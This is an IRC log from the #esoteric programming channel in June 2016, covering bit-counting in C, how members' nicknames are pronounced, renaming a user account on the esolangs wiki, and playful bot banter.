13:54:21 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
14:23:23 -!- variable has quit (Quit: 1 found in /dev/zero).
14:49:08 <int-e> the puzzle doesn't really work if you can't leave two of the passengers alone unattended
14:49:19 <int-e> ... I prefer puzzles to be solvable
14:57:15 -!- lambda-11235 has joined.
15:03:58 -!- Guest83470 has joined.
15:40:01 -!- spiette has joined.
15:58:36 -!- spiette has quit (Ping timeout: 246 seconds).
16:11:50 -!- spiette has joined.
16:14:26 -!- augur has joined.
16:26:03 -!- J_Arcane_ has joined.
16:26:08 -!- J_Arcane_ has changed nick to J_Arcane.
16:43:28 -!- Koen_ has quit (Remote host closed the connection).
16:43:54 -!- Frooxius has quit (Read error: Connection reset by peer).
16:44:21 -!- Koen_ has joined.
16:44:25 -!- Frooxius has joined.
16:51:46 <HackEgo> [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=47168&oldid=44879 * 5.249.127.17 * (+9) /* Semantics of Jot */
17:04:13 <coppro> http://www.ioccc.org/2015/muth/hint.html
18:04:40 <HackEgo> [wiki] [[User:Timwi]] https://esolangs.org/w/index.php?diff=47169&oldid=45927 * Timwi * (+13) efghij
18:10:29 -!- xkapastel has joined.
18:14:51 -!- nycs has joined.
18:15:13 -!- Guest83470 has quit (Read error: No route to host).
18:16:20 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47170&oldid=47165 * Qwertyu63 * (+6)
18:28:43 -!- Melvar` has joined.
18:28:46 -!- idris-bot has quit (Ping timeout: 272 seconds).
18:29:53 -!- Melvar has quit (Ping timeout: 252 seconds).
18:32:25 -!- Melvar`` has joined.
18:34:04 -!- Melvar` has quit (Ping timeout: 249 seconds).
18:35:48 -!- Melvar has joined.
18:36:33 -!- Melvar`` has quit (Ping timeout: 240 seconds).
18:37:45 -!- Koen_ has quit (Remote host closed the connection).
18:40:21 <HackEgo> [wiki] [[User:Rottytooth]] https://esolangs.org/w/index.php?diff=47171&oldid=46132 * Rottytooth * (+7) moved ↄ to done
18:41:15 <HackEgo> [wiki] [[A programming language is a formal constructed language designed to communicate instructions to a machine, particularly a computer.]] https://esolangs.org/w/index.php?diff=47172&oldid=47097 * Rottytooth * (+25) implemented
18:46:50 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47173&oldid=47170 * Qwertyu63 * (+400)
18:48:04 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47174&oldid=47173 * Qwertyu63 * (+10)
19:03:07 <qrf> 14:31:54 <izabera> https://i.imgur.com/dpTXm8M.png
19:03:09 <qrf> That is glorious.
19:10:10 -!- Koen_ has joined.
19:16:20 -!- Koen_ has quit (Remote host closed the connection).
19:27:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
19:42:11 -!- AnotherTest has joined.
19:46:39 -!- AnotherTest has quit (Ping timeout: 264 seconds).
19:47:40 <zzo38> ?metar CYVR
19:47:40 <lambdabot> CYVR 081818Z 12006KT 090V160 20SM -SHRA FEW040 SCT055 BKN087 OVC100 16/09 A2979 RMK SC2SC2AC2AC2 PCPN VRY LGT SLP088 DENSITY ALT 300FT
20:03:27 -!- Kaynato has joined.
20:46:53 <izabera> is this the most efficient way to count the number of leading 1s in a byte? for (i=0; (byte = byte << 1) & 0x80; i++);
20:49:22 <izabera> err that doesn't work but i mean something like this works for (i=0; byte & 0x80; i++) byte <<= 1;
20:50:12 -!- augur has quit (Remote host closed the connection).
20:50:46 -!- augur has joined.
20:53:06 <fizzie> Could be, for the specific case for a byte. Plausible alternatives would be __builtin_clz on ~byte, or the "obvious" binary-search approach.
20:55:10 -!- augur has quit (Ping timeout: 260 seconds).
20:55:43 <fizzie> That is, something like i = 0; if ((byte & 0xf0) == 0xf0) i += 4, byte <<= 4; if ((byte & 0xc0) == 0xc0) i+= 2, byte <<= 2; if (byte & 0x80) i++;
20:58:00 <shachaf> hizzie
20:59:06 <izabera> a lookup table would be faster?
20:59:07 <fizzie> Hachaf.
21:00:51 <fizzie> izabera: Quite possibly. https://graphics.stanford.edu/~seander/bithacks.html is a good place to check as well. And of course "most efficient" usually depends on all kinds of details.
21:01:10 <izabera> i did check that
21:01:17 <izabera> didn't find that problem exactly
21:01:24 <izabera> so i wasn't sure
21:02:20 <shachaf> fizzie: A bithack is a model of a weak 2-thack?
21:03:44 -!- dnm has quit (Ping timeout: 240 seconds).
21:09:12 <shachaf> fizzie: Your nick has three syllables, with emphasis on the first, right?
21:10:42 <b_jonas> what..
21:11:48 <shachaf> fi-tsi-e?
21:11:58 <shachaf> With a long ts, I guess.
21:12:00 <b_jonas> huh...
21:12:31 <b_jonas> I assumed it was two syllables, sounding like "fizzy" in English
21:13:22 <shachaf> Well, I assumed that the j in your name was pronounced as in English.
21:17:22 <zzo38> The operation ((x&y)==y) is a built-in operation in Z-machine.
21:17:23 <fizzie> shachaf: That's the one most Finnish people use and I think I'm more familiar with, but I accept the "fizzy" kind as a variant as well.
21:17:32 <b_jonas> shachaf: I've no idea how “jonas” is supposed to be pronounced really. I took that name after the main character Jonas in Lois Lowry's novel “The Giver”, but I never saw the author indicating how that's pronounced, and didn't try to find it out too hard.
21:18:07 <b_jonas> shachaf: I guess I could try to find videos of the film or the stage play based on the novel on youtube now, as that those now exist and were overseen by Lowry.
21:18:14 <b_jonas> I guess I should try that.
21:18:37 <b_jonas> If I really cared about how it's pronounced, I could also write to Mrs. Lowry, and she'd probably answer, but I never cared much.
21:18:45 <b_jonas> It wasn't even obvious to me how Lowry was pronounced.
21:18:47 <zzo38> How can you count the bits by the muxcomp operation efficiently?
21:19:09 <shachaf> fizzie: Well, how am I supposed to make a rhyme with your nick without a definitive pronunciation?
21:19:54 <b_jonas> fizzie: hmm, so how is it pronounced?
21:20:33 <b_jonas> Ok, let me check youtube for the film or other stuff
21:21:26 <b_jonas> Nah
21:21:30 <b_jonas> I don't want to look at them
21:21:31 <fizzie> shachaf: You can consider what you said as the canonical form, assuming I parsed it correctly.
21:21:45 <b_jonas> the film would ruin my image of the book
21:21:54 <shachaf> OK, well, can you think of anything that rhymes with fizzie?
21:21:57 <fizzie> Unfortunately, Google TTS's Finnish voice gets it wrong, I'd've used that to verify.
21:21:58 <b_jonas> I'll try to find interview though
21:22:44 <b_jonas> fizzie: ok, but how do you parse what shachaf says, or how do you pronounce it? can you give a transcription to some pronunciation alphabet or something?
21:23:01 <b_jonas> shachaf: while we're there, how do you pronounce shachaf?
21:23:16 <shachaf> @google shachaf pronunciation
21:23:17 <lambdabot> http://forvo.com/word/shachaf/
21:23:17 <lambdabot> Title: Shachaf pronunciation: How to pronounce Shachaf in Hebrew
21:23:27 <b_jonas> shachaf: it's from hebrew?
21:23:38 <shachaf> I can't verify without audio, but it's probably something like that.
21:23:38 <shachaf> Yes.
21:24:14 <b_jonas> I'm listening to an interview with Lowry now
21:24:25 <b_jonas> so far he's said “the boy” and “this young boy”
21:24:31 <b_jonas> but not his name
21:24:39 <b_jonas> “child” too
21:24:52 -!- AnotherTest has joined.
21:25:52 <b_jonas> this interview didn't help. I'll try another
21:28:45 <b_jonas> nah, in this one she's telling some amusing anecdotes but not talking about The Giver
21:30:50 <fizzie> b_jonas: I'm not good at phonetic alphabets. I think it'd be something close to /ˈfitsie̯/, which, in retrospect, might not be quite what shachaf said, since it has the /ie̯/ diphthong instead of a separate /e/ syllable.
21:31:24 <shachaf> fizzie: Wait, so how many syllables?
21:31:39 <fizzie> Maybe it's just two then? I haven't really given it much thought.
21:31:53 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
21:32:08 <fizzie> It's not really such a conventional Finnish word.
21:32:11 <shachaf> Maybe you ought to record it.
21:32:12 <b_jonas> fizzie: so is it three full syllables, with both the i and the e taking up a separate one? and is it an open or a close e?
21:32:43 <b_jonas> fizzie: or is the i a semi-vowel (like in "yes" in English) so it's only two syllables?
21:33:01 <fizzie> b_jonas: AIUI, it's exactly the mid-e, neither open nor closed.
21:33:17 <b_jonas> fizzie: ok
21:33:24 <b_jonas> and two or three syllables?
21:33:34 -!- jaboja has joined.
21:34:12 <b_jonas> In this interview, she is talking about The Giver,
21:34:13 <b_jonas> ah!
21:34:16 <shachaf> hello, this is fizzie, and i pronounce fizzix as fizzix
21:34:17 <b_jonas> she does say jonas
21:34:20 <b_jonas> s/j/J
21:35:35 <b_jonas> and she does say it with a /dZ/
21:35:44 <shachaf> dZ?
21:35:45 <b_jonas> interview is https://www.youtube.com/watch?v=vGcdEX8QeF4
21:36:09 <fizzie> I can't tell. I mean, I think it's the /ie/ diphthong, which I guess would mean it has to be two. At least I can't tell the difference between the ie in, say, Lieksa and fizzie.
21:36:11 <b_jonas> shachaf: /dʒ/ in ipa
21:36:18 <shachaf> as in "jack"?
21:36:22 <b_jonas> shachaf: yes
21:36:54 <b_jonas> I think she says /"dZV.n@s/ but I'm not sure about the first vowel. it's definitely short
21:37:00 <b_jonas> let me listen a few more times, and to different places
21:40:36 <b_jonas> ok, it definitely sounds like Mrs. Lowry pronounces Jonas as /"dZV.n@s/ in that interview
21:41:10 <b_jonas> = /ˈdʒʌ.nəs/
21:41:31 <fizzie> Okay, yes. The way "fizzie" ends is definitely more "tie" than "aie".
21:42:01 <b_jonas> that seems definitive enough for the book character, in English.
21:42:03 <b_jonas> fizzie: wait what
21:42:12 <fizzie> b_jonas: "tie" and "aie" are two Finnish words.
21:42:16 <b_jonas> ah, ok
21:42:21 <b_jonas> you don't mean the English word "tie"
21:42:24 <fizzie> No.
21:43:05 <fizzie> Unfortunately, Wiktionary lacks a pronunciation section on Finnish "tie". (It has one on "aie", so if that's the sort of thing shachaf meant, it's not that.)
21:43:41 -!- mender has joined.
21:44:01 <fizzie> Dear me, Goole Translate's Finnish voice gets "aie" approximately as wrong as possible.
21:44:30 <b_jonas> I'm certain I can't easily find out how Tóth Tamás Boldizsár pronounces “Jonas” in the translation. A letter through the publisher has a small chance to reach him, but I'm not going to try that.
21:44:32 <mender> hello fine folks! is there anyone capable of renaming users on the wiki?
21:44:49 <b_jonas> mender: on which wiki?
21:44:50 <fizzie> (It's so wrong I may even need to fix it.)
21:44:52 -!- `^_^ has joined.
21:45:39 <b_jonas> fizzie: does it pronounce it wrong even in a sentence?
21:45:40 <mender> on esolangs.org
21:46:01 <b_jonas> mender: ais523 probably can, and let me check the user list for who else has privilages
21:46:13 <b_jonas> fizzie: can you help mender?
21:46:23 <fizzie> Is renaming a standard MediaWiki feature?
21:46:34 <fizzie> (If it is, then probably.)
21:46:50 <mender> apparently it needs some extension... let me dig up that link
21:46:51 <b_jonas> fizzie: I don't really know
21:47:01 <mender> https://www.mediawiki.org/wiki/Help:Preferences#User_profile_2
21:47:07 <b_jonas> mender: do you really need a rename, rather than just simply creating a new user?
21:47:28 <mender> I guess I could create a new user and change the links in all my esolangs
21:47:39 <mender> (which aren't that many)
21:47:41 <b_jonas> mender: you can even redirect your userpage
21:47:50 <b_jonas> mender: it's probably simpler than renaming the user
21:47:56 <mender> oh neat, how do I do that?
21:48:04 <mender> (the redirect)
21:48:18 <fizzie> "-- the wiki must also have the Renameuser extension installed --" we might not have that in place. So, yeah, what b_jonas suggests might be reasonable. Keeps the history and all that.
21:48:20 <b_jonas> mender: go to userpage, edit it to contain a single line saying #REDIRECT [[User:FooBar]]
21:48:22 -!- nycs has quit (Ping timeout: 260 seconds).
21:48:38 <b_jonas> mender: on the target page you might want to explain that you're a new name for that old name, so it doesn't confuse people
21:48:58 <mender> great thanks, I'll do that
21:49:08 <b_jonas> mender: and you might want to do some of the relevant edits with the old user, and some with the new, so it's clear you really control both of them, and it's not someone maliciously trying to hijack a user page
21:49:31 <mender> good point
21:49:38 <b_jonas> mender: can you tell use the two usernames here too by the way?
21:49:38 <fizzie> Oh. We actually *do* have Renameuser installed and loaded.
21:50:22 <HackEgo> [wiki] [[Special:Log/newusers]] create * Martin Ender * New user account
21:50:36 <b_jonas> s/use/us/
21:50:38 <mender> well...
21:50:54 <mender> Martin Büttner --> Martin Ender
21:51:01 <b_jonas> thanks
21:51:51 <mender> fizzie: as you can see I just created the new account. want to do the rename and kill the new account or should I go ahead with the redirect and everything?
21:52:15 <b_jonas> Anyway, regardless of the pronunciation of the book character, you can still pronounce my nick differently
21:52:38 <b_jonas> (Also, I don't have actual proof that Lowry named Jonas from the biblical prophet.)
21:53:13 <fizzie> mender: I'm not even sure what in particular Renameuser does. If you're okay with doing it the mostly-manual way, that'd be fine with me.
21:53:58 <mender> alright, I don't mind
21:55:12 <HackEgo> [wiki] [[User:Martin Ender]] N https://esolangs.org/w/index.php?oldid=47175 * Martin Ender * (+1110) Created page with "I used to go by the name Martin Büttner. I have created the following esolangs: * [[Retina]], designed in 2015, a regex-based language, designed for use in code-Golf|golf..."
21:55:26 <b_jonas> argh
21:55:34 <b_jonas> I tried to listen to another interview, hoping it has better audio
21:55:37 <fizzie> b_jonas: Oh, and yes: "aie" is incredibly wrong even when used in a sentence. Looks like it falls back to the rule-based g2p system, which doesn't realize it's special, so it creates the phonemes "ai ie" (the ai- and ie-diphthongs) which sounds really stupid concatenated.
21:55:45 <b_jonas> this one is from a radio, so I assumed it was professionally done
21:56:16 <b_jonas> but aside from the introduction, the actual talk with Mrs. Lowry part is done through a telephone line, so not very high audio quality again
21:56:26 <b_jonas> fizzie: I see
21:56:30 <HackEgo> [wiki] [[User:Martin Büttner]] https://esolangs.org/w/index.php?diff=47176&oldid=45124 * Martin Büttner * (-1047) Replaced content with "#REDIRECT User:Martin Ender"
21:57:06 <HackEgo> [wiki] [[User:Martin Büttner]] M https://esolangs.org/w/index.php?diff=47177&oldid=47176 * Martin Büttner * (+1) Redirected page to [[User:Martin Ender]]
21:57:28 <mender> better
21:57:44 <shachaf> `welcome mender
21:57:57 <b_jonas> mender: you should redirect your user talk page (discussion page) too
21:58:07 <mender> oh, right
21:58:10 <mender> thanks
21:58:42 <HackEgo> mender: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
21:58:56 <shachaf> `? weather
21:59:01 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK
21:59:03 <lambdabot> CYUL 082000Z 28013G22KT 15SM OVC042 14/05 A2956 RMK SC8 SLP011 DENSITY ALT 300FT \ ENVA 082050Z 31014KT 9999 SCT025 SCT038 07/03 Q1024 RMK WIND 670FT 32019KT \ ESSB 082050Z AUTO 28004KT 9999 NCD 11/M02 Q1013 \ KOAK 082053Z 26015KT 10SM FEW035 BKN180 21/11 A2996 RMK AO2 SLP145 T02060111 58005
21:59:08 <HackEgo> [wiki] [[User talk:Martin Büttner]] N https://esolangs.org/w/index.php?oldid=47178 * Martin Büttner * (+36) Redirected page to [[User talk:Martin Ender]]
22:00:15 <HackEgo> [wiki] [[User talk:Martin Ender]] N https://esolangs.org/w/index.php?oldid=47179 * Martin Büttner * (+0) Created blank page
22:01:14 -!- MoALTz has quit (Quit: Leaving).
22:06:01 <b_jonas> In this other interview, Mrs. Lowry says that the names of the characters just “came to her”, and that sometimes she changes them later when writing the book but she didn't change the ones in The Giver. That probably means she didn't deliberately name Jonas from the biblical prophet.
22:06:26 <b_jonas> Meh, no matter, it's still a good enough connection for me.
22:07:03 <shachaf> Biblical prophet?
22:07:15 <b_jonas> shachaf: usually called Ionah or something there
22:07:20 <fizzie> Heh. I don't know how, but the thing has selected to use a "aa-ee" unit (from the boundary of a compound word where the first part ends in /a:/ and the second part starts with /e:/) to realize the "ai-ie" it wanted to synthesize. Probably because it couldn't find "ai-ie" anywhere, since it makes no sense. So it just pronounces "aie" as something like /aʔe/.
22:07:38 <shachaf> Oh, that one.
22:07:55 <qrf> Oh my, IPA?
22:07:59 <b_jonas> or Jonah
22:08:02 <qrf> I'm an IPA nerd
22:08:03 <shachaf> I didn't realize people called him Jonas.
22:08:05 <b_jonas> apparently Jonah, not Ionah
22:08:18 <shachaf> `welcome qrf
22:08:26 <b_jonas> shachaf: they do, but I think that's a latinism
22:08:32 <qrf> I used to be a regular in here, years ago
22:08:46 <fizzie> shachaf: "Joona" in the Finnish translation.
22:08:51 <b_jonas> as in, he's called Jonas in latin
22:08:53 <HackEgo> qrf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:08:59 <qrf> That was slow
22:09:16 <qrf> Let me guess, it's because HackEgo was written in a painfully inefficient esoteric language
22:09:29 <fizzie> No, it's because HackEgo's running on a ridiculous VPS provider.
22:09:36 <qrf> :\ I use OVH
22:10:05 <b_jonas> anyway, he's the prophet who's been swallowed by a mythical sea monster (whale or leviathan) and God sent him to be a prophet in the city of Niniveh
22:10:14 <b_jonas> (just to make clear which prophet it is)
22:10:42 <fizzie> Well, the sandboxing it uses (essentially, boot a new UML kernel for every command) isn't *terribly* efficient, but formely it wasn't really all that painful; lately it's been slower than it used to be.
22:11:23 <qrf> That prophet is also featured in the Qur'an, which I'm currently reading
22:11:45 <qrf> A kernel written in the Unified Modelling Language, most impressive
22:11:49 <b_jonas> qrf: yes
22:12:29 <fizzie> fungot it's the one of our bots that's written in a painfully inefficient esoteric language, and it's pretty fast.
22:12:29 <fungot> fizzie: i thought it was labyrinth, but i
22:12:36 <b_jonas> qrf: but I know very little about the Quran, so when I think of the prophet and how he's related to The Giver, I was definitely always thinking of the biblical version
22:12:37 <fizzie> s/it's/is/
22:14:36 <b_jonas> fizzie: ok wait, have we got this yet? is your pronunciation of "fizzie" two syllables or three syllables?
22:15:35 <fizzie> b_jonas: I think I've settled on two.
22:15:48 <b_jonas> fizzie: ok
22:17:21 <b_jonas> fizzie: then I'll pretend it's /ˈfits.jɛ/ with /ts/ a single vowel (imagine a tie accent above or below the two or something)
22:17:26 <b_jonas> s/vowel/consonant/
22:18:00 <fizzie> No, the consonant boundary is definitely right after the /'fi/.
22:18:05 <qrf> The official pronunciation of my nick is [ˈqɑɾɑf]
22:18:11 <b_jonas> fizzie: do you mean the syllable boundary?
22:18:17 <fizzie> Er, yes.
22:18:22 <fizzie> Essentially, take the first syllable from fi:fiikus but shorten the vowel from /i:/ to /i/, then take the single syllable from fi:tie but convert the initial consonant from /t/ to /ts/.
22:18:58 <fizzie> (Translate gets those two words right.)
22:19:19 <b_jonas> fizzie: hmm, but I can't pronounce /ˈfi.tsjɛ/; maybe the /jɛ/ part is wrong
22:19:58 <fizzie> As I understand, it should be /ie̯/.
22:20:06 <b_jonas> fizzie: isn't that the same?
22:20:14 <b_jonas> I mean
22:20:18 <b_jonas> same as far as my mouth goes
22:20:31 <b_jonas> a short /i/ or semi-vowel /i/
22:20:39 <fizzie> I should probably just record it.
22:20:57 <b_jonas> nah, I can totally accept that you can pronounce /ˈfi.tsjɛ/
22:21:09 <b_jonas> even if I can't pronounce it because I'm not used to that sort of thing
22:21:17 <b_jonas> I can just pronounce it as /ˈfits.jɛ/ and it's short enough
22:21:26 <b_jonas> s/short/close/
22:21:28 <fizzie> Hmm. Well, if you listen to the left side of https://translate.google.com/#fi/en/tsie that's pretty much the tail end.
22:21:58 <b_jonas> or I can try to pronounce /ˈfi.tsjɛ/ even if I'm not used to it
22:22:03 <fizzie> Oh, that's simple -- actually, https://translate.google.com/#fi/en/fitsie is pretty close.
22:22:11 <fizzie> (But if you write it as "fizzie" it goes all wrong.)
22:22:24 <b_jonas> fizzie: is the "zz" part a finnish spelling?
22:23:29 <fizzie> Not really. 'z' appears rarely in some loanwords and generally maps to a /ts/.
22:23:43 <fizzie> I don't think 'zz' really exists.
22:24:04 <b_jonas> fizzie: ah, that would explain why google's text to speech doesn't pronounce it properly
22:25:21 <fizzie> Right. It generates the two syllables "f i1" and "t s ii0".
22:25:24 <b_jonas> ok, let me see this one you pasted
22:25:30 <int-e> uh is GG heading towards another boss fight?
22:26:11 <fizzie> For "fitsie" it generates again two syllables, but this time "f i1" + "t s ie0", which is probably right.
22:26:12 <int-e> Granted, it's been a while... I think that automatic train was the last serious one.
22:27:58 <b_jonas> anyway, I'll probably continue to pronounce jonas with a /j/, but a /dZ/ is fine too of course
22:28:16 <b_jonas> unless I'm specifically talking about the book character and in English of course, in which case I should try to stick to /dZ/
22:29:43 -!- mender_ has joined.
22:30:43 <b_jonas> Given that the biblical prophet is pronounced with a /j/, I think that's a good enough excuse that you can use either
22:30:50 -!- mender has quit (Ping timeout: 250 seconds).
22:31:09 -!- spiette has quit (Quit: :qa!).
22:32:35 <qrf> X-SAMPA <23
22:33:34 <b_jonas> qrf: I prefer IPA-like notation, but I'm lazy to type it
22:33:39 <b_jonas> so either goes
22:33:52 <b_jonas> I should make a two-way transliterator as an input method or something
22:34:48 <qrf> I wrote this shitty bot for #linguistics, it converts X-SAMPA to IPA
22:34:52 <HackEgo> [wiki] [[Stack Cats]] N https://esolangs.org/w/index.php?oldid=47180 * Martin Ender * (+8990) Created page with "'''Stack Cats''' (abbreviated as '''SKS''') is a stack-based, [https://en.wikipedia.org/wiki/Reversible_computing reversible] programming language developed by user:Martin E..."
22:35:16 <b_jonas> qrf: nice... hmm, which one is #linguistics, is it the one that always talks about politics, or is that ##linguistics ?
22:35:20 <b_jonas> I confuse these channels
22:35:47 <qrf> #linguistics is the one about TV, gay sex, drugs
22:36:04 <b_jonas> qrf: nah, that's not very specific, lots of channels are about that
22:36:14 <HackEgo> [wiki] [[User:Martin Ender]] https://esolangs.org/w/index.php?diff=47181&oldid=47175 * Martin Ender * (+115) add Stack Cats
22:36:51 <qrf> That is true
22:37:13 <b_jonas> it seems #linguistics is the one I was thinking about, but I know ##linguistics exists as well
22:38:04 <qrf> ##linguistics kicks people for off-topic talk
22:38:32 <b_jonas> I see
22:38:48 <b_jonas> maybe I should try that one if I have a linguistics question
22:39:19 <qrf> Not necessarily
22:39:22 <qrf> It's also notoriously inactive
22:39:35 <b_jonas> well, it can be worth a try, but ok
22:40:49 <b_jonas> mostly I should just try outside of irc
23:01:26 -!- Akaibu has joined.
23:03:16 -!- Koen_ has joined.
23:08:32 -!- mender_ has quit (Ping timeout: 250 seconds).
23:09:58 -!- clog has quit (Ping timeout: 272 seconds).
23:10:46 -!- `^_^ has quit (Quit: This computer has gone to sleep).
23:21:09 -!- Sgeo_ has joined.
23:27:40 -!- augur has joined.
23:29:04 -!- FreeFull has quit (Read error: Connection reset by peer).
23:34:33 -!- FreeFull has joined.
23:37:43 -!- hppavilion[1] has joined.
23:37:49 <hppavilion[1]> Huh. Minecraft is already at 1.10
23:37:58 <hppavilion[1]> That development cycle was way, way too short
23:38:12 <hppavilion[1]> And the update didn't add very much new content in comparison to many previous updates
23:38:41 <hppavilion[1]> I blame Mi¢ro$oft
23:39:52 <myname> i blame notch for building and selling
23:41:12 <hppavilion[1]> myname: I blame the boundary conditions of the universe for being in the particular configuration they were
23:41:23 <myname> nah
23:41:38 <myname> it also made the clearly superior dwarf fortress possible
23:42:36 <hppavilion[1]> Unfortunately, my eyes do not accept Dwarf Fortress as valid input
23:47:58 <Phantom_Hoover> nobody ever really knew what to do with minecraft
23:48:45 <myname> hppavilion[1]: you may want to use a tileset
23:49:16 <hppavilion[1]> myname: I probably should have thought of that by now.
23:49:21 <hppavilion[1]> I will go seppuku now
23:49:36 <myname> have fun
23:53:03 -!- jaboja has quit (Ping timeout: 276 seconds).
2016-06-09
00:03:03 -!- oerjan has joined.
00:03:19 <hppavilion[1]> Someone made a door in Minecraft that takes 13 hours to open or close
00:03:38 -!- clog has joined.
00:04:17 <oerjan> argh
00:04:21 <oerjan> missing an hour
00:06:10 <shachaf> do you want the last hour of logs
00:06:13 <oerjan> oh well, it was probably crap anyway hth
00:06:23 <shachaf> they're in my terminal
00:06:27 <shachaf> shall i copy and paste them to you
00:07:05 <oerjan> yes please
00:07:07 <hppavilion[1]> oerjan: sour grapes tsk tsk etc.
00:08:23 <oerjan> shachaf++
00:08:35 <shachaf> oerjan: hth
00:08:37 <shachaf> oerjan is addicted to logreading
00:09:29 <oerjan> I CAN QUIT ANY TIME I WANT
00:09:40 <oerjan> it's the wanting part that's hard
00:09:53 <shachaf> you only say that because you know that even if you quit, logs will be available
00:10:07 <oerjan> curses
00:10:18 <int-e> oerjan: so how often have you quit reading the logs so far?
00:10:26 <hppavilion[1]> Is there a 12-step program for this?
00:10:39 <oerjan> int-e: i dunno, but sometimes they're just too damn long
00:11:26 <hppavilion[1]> 1) Admit that the logs- a series of 1s and 0s on a server somewhere in Canada- are more powerful than you, a sentient human being capable of will and volition. Somehow.
00:11:30 <Koen_> couldn't you make a bot read them for you?
00:11:46 <oerjan> hppavilion[1]: i'm not sure tunes is in canada, or not.
00:11:56 <hppavilion[1]> oerjan: It probably is; most servers seem to be in my experience
00:11:59 <Koen_> and make a list of topics that were addressed
00:12:03 <oerjan> huh
00:12:10 <hppavilion[1]> Koen_: Oh, wait, this might actually work
00:12:19 <oerjan> Koen_: one that strips MtG discussion would be nice.
00:12:33 <Koen_> well that's easy
00:12:41 <hppavilion[1]> 2) Believe that the great fungot can make you not addicted to logreading; of course, you can't do it yourself
00:12:41 <fungot> hppavilion[1]: guess so. but i really should have submitted the picture under some fake name. you may have mentioned my dislike for anything combining the words " fnord"
00:12:42 <Koen_> just censor out zzo and oren
00:12:55 <hppavilion[1]> (I'm doing the whole thing. Deal with it)
00:12:57 <oerjan> Koen_: i think you're misspelling b_jonas somewhere
00:13:07 <hppavilion[1]> Wow, that was really coherent, fungot
00:13:07 <fungot> hppavilion[1]: but your microexpressions aren't linearized, so you
00:13:23 <Koen_> yeah, typical of you
00:13:47 <hppavilion[1]> 3) Make the decision to follow the word of fungot, not do what you yourself want and take your own path etc.
00:13:47 <fungot> hppavilion[1]: paganini looks tasty when they're made of some fnord messages. :p
00:14:08 <hppavilion[1]> 4) Make a searching and fearless moral inventory of yourself (whatever the hell that means)
00:15:21 <hppavilion[1]> 5) Admit to fungot, yourself, and another human being or sentient bot the nature of your wrongs. Don't be vague; be explicit, give all the gritty details. Name the exact position and velocity of every fundamental particle that could have interacted with you (given the speed-of-light delay) over the course of your addiction
00:15:21 <fungot> hppavilion[1]: you mean regular expressions? i'm confused... how did that happen?
00:15:38 <oerjan> shachaf: as i said, crap, but thanks anyway
00:15:53 <hppavilion[1]> 6) Be entirely ready for fungot to hack into your brain (probably via Inception) and change your fundamental psyche so that you're better. Not creepy at all
00:15:58 <shachaf> oerjan: I didn't even read them.
00:16:04 * oerjan grins mani^Wadjectivally
00:16:05 <hppavilion[1]> 7) Humbly ask fungot to remove your shortcomings
00:16:22 <shachaf> `? oerjan
00:16:34 <hppavilion[1]> 8) Make a list of every person you harmed via logreading, and become willing to make amends to them all (here's the list: [])
00:17:14 <HackEgo> Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
00:17:17 <shachaf> `sled wisdom/oerjan//s/adjectival/renouned/
00:17:29 <HackEgo> wisdom/oerjan//Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
00:17:30 <hppavilion[1]> 9) for person in people_we_hurt: if not dangerous: you.make_amends(person)
00:17:57 <hppavilion[1]> 10) Continue to take personal inventory (seriously, what does that even mean?) and admit it when you were wrong
00:18:21 <shachaf> I think you're spamming the channel a bit here.
00:18:29 <shachaf> So much that my brilliant puns are being missed.
00:18:36 <hppavilion[1]> shachaf: Don't worry, it's only 2 more steps
00:18:46 <oerjan> hppavilion[1]: i suddenly have a hunch you might also read aaronson's blog
00:18:55 <hppavilion[1]> 11) Mention fungot at least once a day, to improve your conscious contact with fnim, and to bring us closer to The Great Fnordian Empire
00:18:56 <quintopia> helloerjan. how goes the megalomania?
00:19:05 <hppavilion[1]> 12) Evangelize.
00:19:16 <hppavilion[1]> oerjan: Never heard of this aaronson
00:19:52 <hppavilion[1]> Oh, I appear to have read his blog before, but not consistently
00:20:55 <shachaf> There was silence supreme! Not a shriek, not a scream, / Scarcely even a howl or a groan, / As the man they called "Ho!" told his story of woe / In an antediluvian tone.
00:21:15 <shachaf> Scarcely even a swat or a pan
00:21:26 <Phantom_Hoover> what is that from shachaf
00:21:31 <shachaf> The Hunting of the Snark
00:21:35 <shachaf> http://literature.org/authors/carroll-lewis/the-hunting-of-the-snark/chapter-03.html
00:21:36 <Phantom_Hoover> ah, right
00:21:42 <shachaf> "antediluvian" is in the original.
00:21:49 <oerjan> <shachaf> So much that my brilliant puns are being missed. <-- have no fair -----###
00:22:29 <oerjan> . o O ( does cackling count as reverbing? )
00:23:30 <int-e> are we reverb-berating?
00:24:04 <quintopia> that one deserves a high five
00:24:47 <oerjan> <quintopia> helloerjan. how goes the megalomania? <-- humongously great hth
00:25:21 <quintopia> is that how that is spelled?
00:26:02 <quintopia> the oatmeal has a lot of great dumb joke
00:26:03 <quintopia> s
00:26:20 <quintopia> such as: A cannibal went for a walk and passed his brother.
00:26:43 <quintopia> or: What does a cannibal do after dumping his girlfriend? Wipe.
00:27:08 <int-e> @devils cannibal
00:27:09 <lambdabot> *** "cannibal" devil "The Devil's Dictionary (1881-1906)"
00:27:09 <lambdabot> CANNIBAL, n. A gastronome of the old school who preserves the simple
00:27:09 <lambdabot> tastes and adheres to the natural diet of the pre-pork period.
00:27:09 <lambdabot>
00:28:18 <oerjan> <quintopia> that one deserves a high five <-- which one, there's a whole diluvian channel of puns here
00:28:23 <quintopia> i suppose no one can compete with Bierce
00:28:31 <quintopia> oerjan: reverb-berating
